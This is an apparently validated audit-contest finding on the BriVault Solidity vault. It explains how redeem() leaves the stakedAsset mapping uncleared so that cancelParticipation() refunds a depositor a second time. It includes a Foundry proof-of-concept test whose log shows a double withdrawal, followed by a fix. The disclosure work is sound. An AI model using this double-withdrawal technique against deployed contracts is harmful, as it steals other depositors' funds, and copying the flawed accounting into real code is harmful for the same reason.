BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Double Withdrawal via Un-synced Accounting

0xvrka

Root + Impact

Description

  • A user should only be able to withdraw their deposited assets once, either by using the standard redeem function or the custom cancelParticipation function.

  • The contract maintains two parallel and un-synced accounting systems :

    1. The ERC4626 system, which tracks ownership via shares.

    2. The Custom system, which tracks deposits via the stakedAsset mapping. The standard redeem function burns shares and returns assets, but does not update the stakedAsset mapping. A user can call redeem to get their money back, and then call cancelParticipation, which only checks the stakedAsset mapping (which is still full) and sends the assets a second time.

// 1. redeem() (inherited from ERC4626) burns shares and sends assets.
// It has NO KNOWLEDGE of the 'stakedAsset' mapping.
​
function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
@> // 2. This function reads from the stale 'stakedAsset' mapping.
@> uint256 refundAmount = stakedAsset[msg.sender];
​
stakedAsset[msg.sender] = 0;
​
@> // 3. This 'shares' variable will be 0 if the user already redeemed.
uint256 shares = balanceOf(msg.sender);
@> // 4. Burning 0 shares does not revert, allowing the function to proceed.
_burn(msg.sender, shares);
​
@> // 5. The user receives their full refund a second time.
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

Risk

Likelihood:

  • The attack is permissionless for any user who has deposited. This is a deliberate, not an action a legitimate user would accidentally take.

  • It relies on an attacker knowing the contract inherits ERC-4626 and has a standard redeem function. This is trivial to discover by reading the import statements or viewing the contract's ABI on a block explorer.

Impact:

  • An attacker can deposit funds, redeem them, and then call cancelParticipation to redeem the same amount again. They effectively double their money, stealing the funds directly from other legitimate depositors in the vault.

  • These stolen assets belong to the other legitimate depositors. The attacker's action directly drains the underlying assets, causing the balanceOf(vault) to decrease while totalSupply does not (or not proportionally). This causes the value of all remaining shares to plummet, potentially to zero, as the assets backing their shares have been stolen.

Proof of Concept

This PoC (test_doubleBurn) demonstrates the double-withdrawal attack.

  1. user1 deposits 20 ether. stakedAsset[user1] and balanceOf(user1) are both set to ~19.7 (20 - 1.5% fee).

  2. user1 calls redeem for all their shares. They receive ~19.7 ether back, and their balanceOf(user1) becomes 0. stakedAsset[user1] remains unchanged.

  3. user1 calls cancelParticipation. The function reads stakedAsset[user1] (~19.7), transfers that amount to them again, and then burns their 0 shares (which does nothing).

  4. user1 has successfully withdrawn ~39.4 ether after only depositing 20.

function test_doubleBurn() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
vm.startPrank(user1);
mockToken.approve(address(briVault), 20 ether);
// 1. User deposits
briVault.deposit(20 ether, user1);
// 2. User gets first refund via ERC4626 redeem
@> briVault.redeem(briVault.balanceOf(user1), user1, user1);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 20 ether);
briVault.deposit(20 ether, user2); // Another user adds liquidity
vm.stopPrank();
vm.startPrank(user1);
// 3. User gets *second* refund via custom cancel
@> briVault.cancelParticipation();
uint256 bal = mockToken.balanceOf(user1);
console.log("user 1 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
vm.stopPrank();
}

Output Log:

[PASS] test_doubleBurn() (gas: 1540996)
Logs:
user 1 balance (ETH): 39 . 400000000000000000

Recommended Mitigation

The cancelParticipation function must be tied to the actual shares a user holds, not the stale stakedAsset mapping. The refund amount should be calculated from the shares being burned, making it ERC4626-compliant.

function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
- uint256 refundAmount = stakedAsset[msg.sender];
- stakedAsset[msg.sender] = 0;
​
- uint256 shares = balanceOf(msg.sender);
+ uint256 shares = balanceOf(msg.sender);
+ if (shares == 0) revert noDeposit(); // Can't cancel with 0 shares
+
+ // Calculate assets based on shares, the ERC4626 way
+ uint256 refundAmount = convertToAssets(shares);
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
+
+ // Still zero out the mapping to be safe
+ stakedAsset[msg.sender] = 0;
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!